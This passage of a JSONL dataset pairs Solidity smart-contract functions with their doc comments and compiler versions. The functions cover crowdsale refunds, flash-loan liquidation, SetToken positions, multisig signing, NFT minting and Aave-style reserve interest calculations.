32);\r\n\r\n // check signature of the hash with the creator address\r\n return isValidSignature(extractAddress(_requestData, 0), hash, v, r, s);\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev modify 20 bytes in a bytes\r\n * @param data bytes to modify\r\n * @param offset position of the first byte to modify\r\n * @param b bytes20 to insert\r\n * @return address\r\n */", "function_code": "function updateBytes20inBytes(bytes data, uint offset, bytes20 b)\r\n internal\r\n pure\r\n {\r\n require(offset >=0 && offset + 20 <= data.length);\r\n assembly {\r\n let m := mload(add(data, add(20, offset)))\r\n m := and(m, 0xFFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000)\r\n m := or(m, div(b, 0x1000000000000000000000000))\r\n mstore(add(data, add(20, offset)), m)\r\n }\r\n }", "version": "0.4.18"} {"comment": "/***************************************************************************\r\n * the DyDx will call `callFunction(address sender, Info memory accountInfo,\r\n * bytes memory data) public` after during `operate` call\r\n ***************************************************************************/", "function_code": "function flashloan(address token, uint256 amount, bytes memory data)\r\n internal\r\n {\r\n ERC20(token).approve(address(kDyDxPool), amount + 1);\r\n Info[] memory infos = new Info[](1);\r\n ActionArgs[] memory args = new ActionArgs[](3);\r\n\r\n infos[0] = Info(address(this), 0);\r\n\r\n AssetAmount memory wamt = AssetAmount(\r\n false,\r\n AssetDenomination.Wei,\r\n AssetReference.Delta,\r\n amount\r\n );\r\n \r\n ActionArgs memory withdraw;\r\n withdraw.actionType = ActionType.Withdraw;\r\n withdraw.accountId = 0;\r\n withdraw.amount = wamt;\r\n withdraw.primaryMarketId = tokenToMarketId(token);\r\n withdraw.otherAddress = address(this);\r\n\r\n args[0] = withdraw;\r\n\r\n ActionArgs memory call;\r\n call.actionType = ActionType.Call;\r\n call.accountId = 0;\r\n call.otherAddress = address(this);\r\n call.data = data;\r\n\r\n args[1] = call;\r\n\r\n ActionArgs memory deposit;\r\n AssetAmount memory damt = AssetAmount(\r\n true,\r\n AssetDenomination.Wei,\r\n AssetReference.Delta,\r\n amount + 1\r\n );\r\n deposit.actionType = ActionType.Deposit;\r\n deposit.accountId = 0;\r\n deposit.amount = damt;\r\n deposit.primaryMarketId = tokenToMarketId(token);\r\n deposit.otherAddress = address(this);\r\n\r\n args[2] = deposit;\r\n\r\n kDyDxPool.operate(infos, args);\r\n }", "version": "0.8.4"} {"comment": "/*************************************************************************************************************\r\n * Call this contract function from the external \r\n * remote job to perform the liquidation.\r\n * \r\n ************************************************************************************************************/", "function_code": "function doCompFiLiquidate(\r\n //loan information\r\n address flashToken, \r\n uint256 flashAmount,\r\n // Borrow Account to be liquidated\r\n address targetAccount, \r\n address targetToken, \r\n uint256 liquidateAmount,\r\n // liquidation reimbursement and Reward Token\r\n address collateralToken\r\n ) external returns(bool) {\r\n \r\n emit PassThru( liquidateAmount );\r\n // Populate the passthru data structure, which will be used\r\n // by 'callFunction'\r\n bytes memory data = abi.encode(\r\n flashToken, \r\n flashAmount,\r\n targetAccount, \r\n targetToken, \r\n liquidateAmount, \r\n collateralToken);\r\n \r\n // execution goes to `callFunction`\r\n // STEP 1\r\n flashloan(flashToken, flashAmount, data);\r\n emit Liquidated( targetAccount, targetToken, liquidateAmount );\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "// Before calling setup, the sender must call Approve() on the AOC token \n// That sets allowance for this contract to sell the tokens on sender's behalf", "function_code": "function setup(uint256 AOC_amount, uint256 price_in_wei) public {\r\n require(is_empty()); // must not be in cooldown\r\n require(AOC.allowance(msg.sender, this) >= AOC_amount); // contract needs enough allowance\r\n require(price_in_wei > 1000); // to avoid mistakes, require price to be more than 1000 wei\r\n \r\n price = price_in_wei;\r\n AOC_available = AOC_amount;\r\n Amount_of_AOC_for_One_ETH = 1 ether / price_in_wei;\r\n seller = msg.sender;\r\n\r\n require(AOC.transferFrom(msg.sender, this, AOC_amount)); // move AOC to this contract to hold in escrow\r\n }", "version": "0.4.19"} {"comment": "//@dev Refund ether back to the investor in returns of proportional amount of SRN\n//back to the Sirin`s wallet", "function_code": "function refundETH(uint256 ETHToRefundAmountWei) isInRefundTimeFrame isRefundingState public {\r\n require(ETHToRefundAmountWei != 0);\r\n\r\n uint256 depositedTokenValue = depositedToken[msg.sender];\r\n uint256 depositedETHValue = depositedETH[msg.sender];\r\n\r\n require(ETHToRefundAmountWei <= depositedETHValue);\r\n\r\n uint256 refundTokens = ETHToRefundAmountWei.mul(depositedTokenValue).div(depositedETHValue);\r\n\r\n assert(refundTokens > 0);\r\n\r\n depositedETH[msg.sender] = depositedETHValue.sub(ETHToRefundAmountWei);\r\n depositedToken[msg.sender] = depositedTokenValue.sub(refundTokens);\r\n\r\n token.destroy(address(this),refundTokens);\r\n msg.sender.transfer(ETHToRefundAmountWei);\r\n\r\n RefundedETH(msg.sender, ETHToRefundAmountWei);\r\n }", "version": "0.4.18"} {"comment": "//@dev Transfer tokens from the vault to the investor while releasing proportional amount of ether\n//to Sirin`s wallet.\n//Can be triggerd by the investor only", "function_code": "function claimTokens(uint256 tokensToClaim) isRefundingOrCloseState public {\r\n require(tokensToClaim != 0);\r\n \r\n address investor = msg.sender;\r\n require(depositedToken[investor] > 0);\r\n \r\n uint256 depositedTokenValue = depositedToken[investor];\r\n uint256 depositedETHValue = depositedETH[investor];\r\n\r\n require(tokensToClaim <= depositedTokenValue);\r\n\r\n uint256 claimedETH = tokensToClaim.mul(depositedETHValue).div(depositedTokenValue);\r\n\r\n assert(claimedETH > 0);\r\n\r\n depositedETH[investor] = depositedETHValue.sub(claimedETH);\r\n depositedToken[investor] = depositedTokenValue.sub(tokensToClaim);\r\n\r\n token.transfer(investor, tokensToClaim);\r\n if(state != State.Closed) {\r\n etherWallet.transfer(claimedETH);\r\n }\r\n\r\n TokensClaimed(investor, tokensToClaim);\r\n }", "version": "0.4.18"} {"comment": "// =================================================================================================================\n// Constructors\n// =================================================================================================================", "function_code": "function SirinCrowdsale(uint256 _startTime,\r\n uint256 _endTime,\r\n address _wallet,\r\n address _walletTeam,\r\n address _walletOEM,\r\n address _walletBounties,\r\n address _walletReserve,\r\n SirinSmartToken _sirinSmartToken,\r\n RefundVault _refundVault)\r\n public\r\n Crowdsale(_startTime, _endTime, EXCHANGE_RATE, _wallet, _sirinSmartToken) {\r\n require(_walletTeam != address(0));\r\n require(_walletOEM != address(0));\r\n require(_walletBounties != address(0));\r\n require(_walletReserve != address(0));\r\n require(_sirinSmartToken != address(0));\r\n require(_refundVault != address(0));\r\n\r\n walletTeam = _walletTeam;\r\n walletOEM = _walletOEM;\r\n walletBounties = _walletBounties;\r\n walletReserve = _walletReserve;\r\n\r\n token = _sirinSmartToken;\r\n refundVault = _refundVault;\r\n }", "version": "0.4.18"} {"comment": "// =================================================================================================================\n// Impl Crowdsale\n// =================================================================================================================\n// @return the rate in SRN per 1 ETH according to the time of the tx and the SRN pricing program.\n// @Override", "function_code": "function getRate() public view returns (uint256) {\r\n if (now < (startTime.add(24 hours))) {return 1000;}\r\n if (now < (startTime.add(2 days))) {return 950;}\r\n if (now < (startTime.add(3 days))) {return 900;}\r\n if (now < (startTime.add(4 days))) {return 855;}\r\n if (now < (startTime.add(5 days))) {return 810;}\r\n if (now < (startTime.add(6 days))) {return 770;}\r\n if (now < (startTime.add(7 days))) {return 730;}\r\n if (now < (startTime.add(8 days))) {return 690;}\r\n if (now < (startTime.add(9 days))) {return 650;}\r\n if (now < (startTime.add(10 days))) {return 615;}\r\n if (now < (startTime.add(11 days))) {return 580;}\r\n if (now < (startTime.add(12 days))) {return 550;}\r\n if (now < (startTime.add(13 days))) {return 525;}\r\n\r\n return rate;\r\n }", "version": "0.4.18"} {"comment": "// =================================================================================================================\n// External Methods\n// =================================================================================================================\n// @dev Adds/Updates address and token allocation for token grants.\n// Granted tokens are allocated to non-ether, presale, buyers.\n// @param _grantee address The address of the token grantee.\n// @param _value uint256 The value of the grant in wei token.", "function_code": "function addUpdateGrantee(address _grantee, uint256 _value) external onlyOwner onlyWhileSale{\r\n require(_grantee != address(0));\r\n require(_value > 0);\r\n\r\n // Adding new key if not present:\r\n if (presaleGranteesMap[_grantee] == 0) {\r\n require(presaleGranteesMapKeys.length < MAX_TOKEN_GRANTEES);\r\n presaleGranteesMapKeys.push(_grantee);\r\n GrantAdded(_grantee, _value);\r\n }\r\n else {\r\n GrantUpdated(_grantee, presaleGranteesMap[_grantee], _value);\r\n }\r\n\r\n presaleGranteesMap[_grantee] = _value;\r\n }", "version": "0.4.18"} {"comment": "// @dev deletes entries from the grants list.\n// @param _grantee address The address of the token grantee.", "function_code": "function deleteGrantee(address _grantee) external onlyOwner onlyWhileSale {\r\n require(_grantee != address(0));\r\n require(presaleGranteesMap[_grantee] != 0);\r\n\r\n //delete from the map:\r\n delete presaleGranteesMap[_grantee];\r\n\r\n //delete from the array (keys):\r\n uint256 index;\r\n for (uint256 i = 0; i < presaleGranteesMapKeys.length; i++) {\r\n if (presaleGranteesMapKeys[i] == _grantee) {\r\n index = i;\r\n break;\r\n }\r\n }\r\n presaleGranteesMapKeys[index] = presaleGranteesMapKeys[presaleGranteesMapKeys.length - 1];\r\n delete presaleGranteesMapKeys[presaleGranteesMapKeys.length - 1];\r\n presaleGranteesMapKeys.length--;\r\n\r\n GrantDeleted(_grantee, presaleGranteesMap[_grantee]);\r\n }", "version": "0.4.18"} {"comment": "// @dev Buy tokes with guarantee", "function_code": "function buyTokensWithGuarantee() public payable {\r\n require(validPurchase());\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n // calculate token amount to be created\r\n uint256 tokens = weiAmount.mul(getRate());\r\n tokens = tokens.div(REFUND_DIVISION_RATE);\r\n\r\n // update state\r\n weiRaised = weiRaised.add(weiAmount);\r\n\r\n token.issue(address(refundVault), tokens);\r\n\r\n refundVault.deposit.value(msg.value)(msg.sender, tokens);\r\n\r\n TokenPurchaseWithGuarantee(msg.sender, address(refundVault), weiAmount, tokens);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Recover signer address from a message by using his signature\r\n * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.\r\n * @param sig bytes signature, the signature is generated using web3.eth.sign()\r\n */", "function_code": "function recover(bytes32 hash, bytes sig) public pure returns (address) {\r\n bytes32 r;\r\n bytes32 s;\r\n uint8 v;\r\n\r\n //Check the signature length\r\n if (sig.length != 65) {\r\n return (address(0));\r\n }\r\n\r\n // Divide the signature in r, s and v variables\r\n assembly {\r\n r := mload(add(sig, 32))\r\n s := mload(add(sig, 64))\r\n v := byte(0, mload(add(sig, 96)))\r\n }\r\n\r\n // Version of signature should be 27 or 28, but 0 and 1 are also possible versions\r\n if (v < 27) {\r\n v += 27;\r\n }\r\n\r\n // If the version is correct return the signer address\r\n if (v != 27 && v != 28) {\r\n return (address(0));\r\n } else {\r\n return ecrecover(hash, v, r, s);\r\n }\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * If the position does not exist, create a new Position and add to the SetToken. If it already exists,\r\n * then set the position units. If the new units is 0, remove the position. Handles adding/removing of \r\n * components where needed (in light of potential external positions).\r\n *\r\n * @param _setToken Address of SetToken being modified\r\n * @param _component Address of the component\r\n * @param _newUnit Quantity of Position units - must be >= 0\r\n */", "function_code": "function editDefaultPosition(ISetToken _setToken, address _component, uint256 _newUnit) internal {\r\n bool isPositionFound = hasDefaultPosition(_setToken, _component);\r\n if (!isPositionFound && _newUnit > 0) {\r\n // If there is no Default Position and no External Modules, then component does not exist\r\n if (!hasExternalPosition(_setToken, _component)) {\r\n _setToken.addComponent(_component);\r\n }\r\n } else if (isPositionFound && _newUnit == 0) {\r\n // If there is a Default Position and no external positions, remove the component\r\n if (!hasExternalPosition(_setToken, _component)) {\r\n _setToken.removeComponent(_component);\r\n }\r\n }\r\n\r\n _setToken.editDefaultPositionUnit(_component, _newUnit.toInt256());\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Update an external position and remove and external positions or components if necessary. The logic flows as follows:\r\n * 1) If component is not already added then add component and external position. \r\n * 2) If component is added but no existing external position using the passed module exists then add the external position.\r\n * 3) If the existing position is being added to then just update the unit\r\n * 4) If the position is being closed and no other external positions or default positions are associated with the component\r\n * then untrack the component and remove external position.\r\n * 5) If the position is being closed and other existing positions still exist for the component then just remove the\r\n * external position.\r\n *\r\n * @param _setToken SetToken being updated\r\n * @param _component Component position being updated\r\n * @param _module Module external position is associated with\r\n * @param _newUnit Position units of new external position\r\n * @param _data Arbitrary data associated with the position\r\n */", "function_code": "function editExternalPosition(\r\n ISetToken _setToken,\r\n address _component,\r\n address _module,\r\n int256 _newUnit,\r\n bytes memory _data\r\n )\r\n internal\r\n {\r\n if (!_setToken.isComponent(_component)) {\r\n _setToken.addComponent(_component);\r\n addExternalPosition(_setToken, _component, _module, _newUnit, _data);\r\n } else if (!_setToken.isExternalPositionModule(_component, _module)) {\r\n addExternalPosition(_setToken, _component, _module, _newUnit, _data);\r\n } else if (_newUnit != 0) {\r\n _setToken.editExternalPositionUnit(_component, _module, _newUnit);\r\n } else {\r\n // If no default or external position remaining then remove component from components array\r\n if (_setToken.getDefaultPositionRealUnit(_component) == 0 && _setToken.getExternalPositionModules(_component).length == 1) {\r\n _setToken.removeComponent(_component);\r\n }\r\n _setToken.removeExternalPositionModule(_component, _module);\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Calculate the new position unit given total notional values pre and post executing an action that changes SetToken state\r\n * The intention is to make updates to the units without accidentally picking up airdropped assets as well.\r\n *\r\n * @param _setTokenSupply Supply of SetToken in precise units (10^18)\r\n * @param _preTotalNotional Total notional amount of component prior to executing action\r\n * @param _postTotalNotional Total notional amount of component after the executing action\r\n * @param _prePositionUnit Position unit of SetToken prior to executing action\r\n * @return New position unit\r\n */", "function_code": "function calculateDefaultEditPositionUnit(\r\n uint256 _setTokenSupply,\r\n uint256 _preTotalNotional,\r\n uint256 _postTotalNotional,\r\n uint256 _prePositionUnit\r\n )\r\n internal\r\n pure\r\n returns (uint256)\r\n {\r\n // If pre action total notional amount is greater then subtract post action total notional and calculate new position units\r\n if (_preTotalNotional >= _postTotalNotional) {\r\n uint256 unitsToSub = _preTotalNotional.sub(_postTotalNotional).preciseDivCeil(_setTokenSupply);\r\n return _prePositionUnit.sub(unitsToSub);\r\n } else {\r\n // Else subtract post action total notional from pre action total notional and calculate new position units\r\n uint256 unitsToAdd = _postTotalNotional.sub(_preTotalNotional).preciseDiv(_setTokenSupply);\r\n return _prePositionUnit.add(unitsToAdd);\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Finds the index of the first occurrence of the given element.\r\n * @param A The input array to search\r\n * @param a The value to find\r\n * @return Returns (index and isIn) for the first occurrence starting from index 0\r\n */", "function_code": "function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {\r\n uint256 length = A.length;\r\n for (uint256 i = 0; i < length; i++) {\r\n if (A[i] == a) {\r\n return (i, true);\r\n }\r\n }\r\n return (uint256(-1), false);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Returns true if there are 2 elements that are the same in an array\r\n * @param A The input array to search\r\n * @return Returns boolean for the first occurrence of a duplicate\r\n */", "function_code": "function hasDuplicate(address[] memory A) internal pure returns(bool) {\r\n require(A.length > 0, \"A is empty\");\r\n\r\n for (uint256 i = 0; i < A.length - 1; i++) {\r\n address current = A[i];\r\n for (uint256 j = i + 1; j < A.length; j++) {\r\n if (current == A[j]) {\r\n return true;\r\n }\r\n }\r\n }\r\n return false;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @param A The input array to search\r\n * @param a The address to remove \r\n * @return Returns the array with the object removed.\r\n */", "function_code": "function remove(address[] memory A, address a)\r\n internal\r\n pure\r\n returns (address[] memory)\r\n {\r\n (uint256 index, bool isIn) = indexOf(A, a);\r\n if (!isIn) {\r\n revert(\"Address not in array.\");\r\n } else {\r\n (address[] memory _A,) = pop(A, index);\r\n return _A;\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Removes specified index from array\r\n * @param A The input array to search\r\n * @param index The index to remove\r\n * @return Returns the new array and the removed entry\r\n */", "function_code": "function pop(address[] memory A, uint256 index)\r\n internal\r\n pure\r\n returns (address[] memory, address)\r\n {\r\n uint256 length = A.length;\r\n require(index < A.length, \"Index must be < A length\");\r\n address[] memory newAddresses = new address[](length - 1);\r\n for (uint256 i = 0; i < index; i++) {\r\n newAddresses[i] = A[i];\r\n }\r\n for (uint256 j = index + 1; j < length; j++) {\r\n newAddresses[j - 1] = A[j];\r\n }\r\n return (newAddresses, A[index]);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * PRIVELEGED MODULE FUNCTION. Low level function that edits a component's virtual unit. Takes a real unit\r\n * and converts it to virtual before committing.\r\n */", "function_code": "function editDefaultPositionUnit(address _component, int256 _realUnit) external onlyModule whenLockedOnlyLocker {\r\n int256 virtualUnit = _convertRealToVirtualUnit(_realUnit);\r\n\r\n // These checks ensure that the virtual unit does not return a result that has rounded down to 0\r\n if (_realUnit > 0 && virtualUnit == 0) {\r\n revert(\"Virtual unit conversion invalid\");\r\n }\r\n\r\n componentPositions[_component].virtualUnit = virtualUnit;\r\n\r\n emit DefaultPositionUnitEdited(_component, _realUnit);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Returns a list of Positions, through traversing the components. Each component with a non-zero virtual unit\r\n * is considered a Default Position, and each externalPositionModule will generate a unique position.\r\n * Virtual units are converted to real units. This function is typically used off-chain for data presentation purposes.\r\n */", "function_code": "function getPositions() external view returns (ISetToken.Position[] memory) {\r\n ISetToken.Position[] memory positions = new ISetToken.Position[](_getPositionCount());\r\n uint256 positionCount = 0;\r\n\r\n for (uint256 i = 0; i < components.length; i++) {\r\n address component = components[i];\r\n\r\n // A default position exists if the default virtual unit is > 0\r\n if (_defaultPositionVirtualUnit(component) > 0) {\r\n positions[positionCount] = ISetToken.Position({\r\n component: component,\r\n module: address(0),\r\n unit: getDefaultPositionRealUnit(component),\r\n positionState: DEFAULT,\r\n data: \"\"\r\n });\r\n\r\n positionCount++;\r\n }\r\n\r\n address[] memory externalModules = _externalPositionModules(component);\r\n for (uint256 j = 0; j < externalModules.length; j++) {\r\n address currentModule = externalModules[j];\r\n\r\n positions[positionCount] = ISetToken.Position({\r\n component: component,\r\n module: currentModule,\r\n unit: getExternalPositionRealUnit(component, currentModule),\r\n positionState: EXTERNAL,\r\n data: _externalPositionData(component, currentModule)\r\n });\r\n\r\n positionCount++;\r\n }\r\n }\r\n\r\n return positions;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Returns the total Real Units for a given component, summing the default and external position units.\r\n */", "function_code": "function getTotalComponentRealUnits(address _component) external view returns(int256) {\r\n int256 totalUnits = getDefaultPositionRealUnit(_component);\r\n\r\n\t\taddress[] memory externalModules = _externalPositionModules(_component);\r\n\t\tfor (uint256 i = 0; i < externalModules.length; i++) {\r\n // We will perform the summation no matter what, as an external position virtual unit can be negative\r\n\t\t\ttotalUnits = totalUnits.add(getExternalPositionRealUnit(_component, externalModules[i]));\r\n\t\t}\r\n\r\n\t\treturn totalUnits;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Gets the total number of positions, defined as the following:\r\n * - Each component has a default position if its virtual unit is > 0\r\n * - Each component's external positions module is counted as a position\r\n */", "function_code": "function _getPositionCount() internal view returns (uint256) {\r\n uint256 positionCount;\r\n for (uint256 i = 0; i < components.length; i++) {\r\n address component = components[i];\r\n\r\n // Increment the position count if the default position is > 0\r\n if (_defaultPositionVirtualUnit(component) > 0) {\r\n positionCount++;\r\n }\r\n\r\n // Increment the position count by each external position module\r\n address[] memory externalModules = _externalPositionModules(component);\r\n if (externalModules.length > 0) {\r\n \tpositionCount = positionCount.add(externalModules.length);\t\r\n }\r\n }\r\n\r\n return positionCount;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @dev Allows to sign a transaction\r\n */", "function_code": "function signTransaction(uint _txId) public onlySigners {\r\n require(!transactions[_txId].confirmed[msg.sender] && _txId <= txCount, \"must be a valid unsigned tx\");\r\n transactions[_txId].confirmed[msg.sender] = true;\r\n transactions[_txId].confirmations++;\r\n emit TranscationSigned(_txId, now, msg.sender);\r\n if (transactions[_txId].confirmations >= requiredConfirmations) {\r\n _sendTransaction(_txId);\r\n }\r\n }", "version": "0.4.24"} {"comment": "//executing tx", "function_code": "function _sendTransaction(uint _txId) private {\r\n require(!transactions[_txId].done, \"transaction must not be done\");\r\n transactions[_txId].done = true;\r\n if ( transactions[_txId].tokenAddress == address(0)) {\r\n transactions[_txId].to.transfer(transactions[_txId].amount);\r\n } else {\r\n ERC20 token = ERC20(transactions[_txId].tokenAddress);\r\n require(token.transfer(transactions[_txId].to, transactions[_txId].amount), \"token transfer failded\");\r\n }\r\n emit TranscationSended(_txId, now);\r\n }", "version": "0.4.24"} {"comment": "//mint LuckyBunnyClub", "function_code": "function mintLuckyBunnyClub(address _to, uint256 _count) external payable {\r\n require(\r\n totalSupply() + _count <= MAX_LBC,\r\n \"Exceeds maximum supply of Lucky Bunny Club\"\r\n );\r\n require(\r\n totalSupply() + _count <= maxAllow,\r\n \"Exceeds maximum supply of this batch\"\r\n );\r\n require(\r\n _count > 0,\r\n \"Minimum 1 Lucky Bunny Club has to be minted per transaction\"\r\n );\r\n if (msg.sender != owner()) {\r\n require(saleOpen, \"Sale is not open yet\");\r\n require(\r\n _count <= 20,\r\n \"Maximum 20 Lucky Bunny Club can be minted per transaction\"\r\n );\r\n require(\r\n msg.value >= price * _count,\r\n \"Ether sent with this transaction is not correct\"\r\n );\r\n }\r\n\r\n for (uint256 i = 0; i < _count; i++) {\r\n _mint(_to);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Mints Crypto DRMS Token Assets\r\n */", "function_code": "function mintToken(string memory metadataURI) public payable {\r\n require(totalSupply().add(1) <= MAX_TOKENS, \"Purchase would exceed max supply of Tokens\");\r\n require(tokenPrice.mul(1) <= msg.value, \"Ether value sent is not correct\");\r\n \r\n\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_TOKENS) {\r\n _safeMint(msg.sender, mintIndex);\r\n _setTokenURI(mintIndex, metadataURI);\r\n }\r\n }", "version": "0.7.6"} {"comment": "//solium-disable-next-line", "function_code": "function rayPow(uint256 x, uint256 n) internal pure returns (uint256 z) {\r\n\r\n z = n % 2 != 0 ? x : RAY;\r\n\r\n for (n /= 2; n != 0; n /= 2) {\r\n x = rayMul(x, x);\r\n\r\n if (n % 2 != 0) {\r\n z = rayMul(z, x);\r\n }\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev internal function to update the implementation of a specific component of the protocol\r\n * @param _id the id of the contract to be updated\r\n * @param _newAddress the address of the new implementation\r\n **/", "function_code": "function updateImplInternal(bytes32 _id, address _newAddress) internal {\r\n address payable proxyAddress = address(uint160(getAddress(_id)));\r\n\r\n InitializableAdminUpgradeabilityProxy proxy = InitializableAdminUpgradeabilityProxy(proxyAddress);\r\n bytes memory params = abi.encodeWithSignature(\"initialize(address)\", address(this));\r\n\r\n if (proxyAddress == address(0)) {\r\n proxy = new InitializableAdminUpgradeabilityProxy();\r\n proxy.initialize(_newAddress, address(this), params);\r\n _setAddress(_id, address(proxy));\r\n emit ProxyCreated(_id, address(proxy));\r\n } else {\r\n proxy.upgradeToAndCall(_newAddress, params);\r\n }\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev Updates the liquidity cumulative index Ci and variable borrow cumulative index Bvc. Refer to the whitepaper for\r\n * a formal specification.\r\n * @param _self the reserve object\r\n **/", "function_code": "function updateCumulativeIndexes(ReserveData storage _self) internal {\r\n uint256 totalBorrows = getTotalBorrows(_self);\r\n\r\n if (totalBorrows > 0) {\r\n //only cumulating if there is any income being produced\r\n uint256 cumulatedLiquidityInterest = calculateLinearInterest(\r\n _self.currentLiquidityRate,\r\n _self.lastUpdateTimestamp\r\n );\r\n\r\n _self.lastLiquidityCumulativeIndex = cumulatedLiquidityInterest.rayMul(\r\n _self.lastLiquidityCumulativeIndex\r\n );\r\n\r\n uint256 cumulatedVariableBorrowInterest = calculateCompoundedInterest(\r\n _self.currentVariableBorrowRate,\r\n _self.lastUpdateTimestamp\r\n );\r\n _self.lastVariableBorrowCumulativeIndex = cumulatedVariableBorrowInterest.rayMul(\r\n _self.lastVariableBorrowCumulativeIndex\r\n );\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev initializes a reserve\r\n * @param _self the reserve object\r\n * @param _aTokenAddress the address of the overlying atoken contract\r\n * @param _decimals the number of decimals of the underlying asset\r\n * @param _interestRateStrategyAddress the address of the interest rate strategy contract\r\n **/", "function_code": "function init(\r\n ReserveData storage _self,\r\n address _aTokenAddress,\r\n uint256 _decimals,\r\n address _interestRateStrategyAddress\r\n ) external {\r\n require(_self.aTokenAddress == address(0), \"Reserve has already been initialized\");\r\n\r\n if (_self.lastLiquidityCumulativeIndex == 0) {\r\n //if the reserve has not been initialized yet\r\n _self.lastLiquidityCumulativeIndex = WadRayMath.ray();\r\n }\r\n\r\n if (_self.lastVariableBorrowCumulativeIndex == 0) {\r\n _self.lastVariableBorrowCumulativeIndex = WadRayMath.ray();\r\n }\r\n\r\n _self.aTokenAddress = _aTokenAddress;\r\n _self.decimals = _decimals;\r\n\r\n _self.interestRateStrategyAddress = _interestRateStrategyAddress;\r\n _self.isActive = true;\r\n _self.isFreezed = false;\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev enables a reserve to be used as collateral\r\n * @param _self the reserve object\r\n * @param _baseLTVasCollateral the loan to value of the asset when used as collateral\r\n * @param _liquidationThreshold the threshold at which loans using this asset as collateral will be considered undercollateralized\r\n * @param _liquidationBonus the bonus liquidators receive to liquidate this asset\r\n **/", "function_code": "function enableAsCollateral(\r\n ReserveData storage _self,\r\n uint256 _baseLTVasCollateral,\r\n uint256 _liquidationThreshold,\r\n uint256 _liquidationBonus\r\n ) external {\r\n require(\r\n _self.usageAsCollateralEnabled == false,\r\n \"Reserve is already enabled as collateral\"\r\n );\r\n\r\n _self.usageAsCollateralEnabled = true;\r\n _self.baseLTVasCollateral = _baseLTVasCollateral;\r\n _self.liquidationThreshold = _liquidationThreshold;\r\n _self.liquidationBonus = _liquidationBonus;\r\n\r\n if (_self.lastLiquidityCumulativeIndex == 0)\r\n _self.lastLiquidityCumulativeIndex = WadRayMath.ray();\r\n\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev calculates the compounded borrow balance of a user\r\n * @param _self the userReserve object\r\n * @param _reserve the reserve object\r\n * @return the user compounded borrow balance\r\n **/", "function_code": "function getCompoundedBorrowBalance(\r\n CoreLibrary.UserReserveData storage _self,\r\n CoreLibrary.ReserveData storage _reserve\r\n ) internal view returns (uint256) {\r\n if (_self.principalBorrowBalance == 0) return 0;\r\n\r\n uint256 principalBorrowBalanceRay = _self.principalBorrowBalance.wadToRay();\r\n uint256 compoundedBalance = 0;\r\n uint256 cumulatedInterest = 0;\r\n\r\n if (_self.stableBorrowRate > 0) {\r\n cumulatedInterest = calculateCompoundedInterest(\r\n _self.stableBorrowRate,\r\n _self.lastUpdateTimestamp\r\n );\r\n } else {\r\n //variable interest\r\n cumulatedInterest = calculateCompoundedInterest(\r\n _reserve\r\n .currentVariableBorrowRate,\r\n _reserve\r\n .lastUpdateTimestamp\r\n )\r\n .rayMul(_reserve.lastVariableBorrowCumulativeIndex)\r\n .rayDiv(_self.lastVariableBorrowCumulativeIndex);\r\n }\r\n\r\n compoundedBalance = principalBorrowBalanceRay.rayMul(cumulatedInterest).rayToWad();\r\n\r\n if (compoundedBalance == _self.principalBorrowBalance) {\r\n //solium-disable-next-line\r\n if (_self.lastUpdateTimestamp != block.timestamp) {\r\n //no interest cumulation because of the rounding - we add 1 wei\r\n //as symbolic cumulated interest to avoid interest free loans.\r\n\r\n return _self.principalBorrowBalance.add(1 wei);\r\n }\r\n }\r\n\r\n return compoundedBalance;\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev increases the total borrows at a stable rate on a specific reserve and updates the\r\n * average stable rate consequently\r\n * @param _reserve the reserve object\r\n * @param _amount the amount to add to the total borrows stable\r\n * @param _rate the rate at which the amount has been borrowed\r\n **/", "function_code": "function increaseTotalBorrowsStableAndUpdateAverageRate(\r\n ReserveData storage _reserve,\r\n uint256 _amount,\r\n uint256 _rate\r\n ) internal {\r\n uint256 previousTotalBorrowStable = _reserve.totalBorrowsStable;\r\n //updating reserve borrows stable\r\n _reserve.totalBorrowsStable = _reserve.totalBorrowsStable.add(_amount);\r\n\r\n //update the average stable rate\r\n //weighted average of all the borrows\r\n uint256 weightedLastBorrow = _amount.wadToRay().rayMul(_rate);\r\n uint256 weightedPreviousTotalBorrows = previousTotalBorrowStable.wadToRay().rayMul(\r\n _reserve.currentAverageStableBorrowRate\r\n );\r\n\r\n _reserve.currentAverageStableBorrowRate = weightedLastBorrow\r\n .add(weightedPreviousTotalBorrows)\r\n .rayDiv(_reserve.totalBorrowsStable.wadToRay());\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * @dev check if a specific balance decrease is allowed (i.e. doesn't bring the user borrow position health factor under 1e18)\r\n * @param _reserve the address of the reserve\r\n * @param _user the address of the user\r\n * @param _amount the amount to decrease\r\n * @return true if the decrease of the balance is allowed\r\n **/", "function_code": "function balanceDecreaseAllowed(address _reserve, address _user, uint256 _amount)\r\n external\r\n view\r\n returns (bool)\r\n {\r\n // Usage of a memory struct of vars to avoid \"Stack too deep\" errors due to local variables\r\n balanceDecreaseAllowedLocalVars memory vars;\r\n\r\n (\r\n vars.decimals,\r\n ,\r\n vars.reserveLiquidationThreshold,\r\n vars.reserveUsageAsCollateralEnabled\r\n ) = 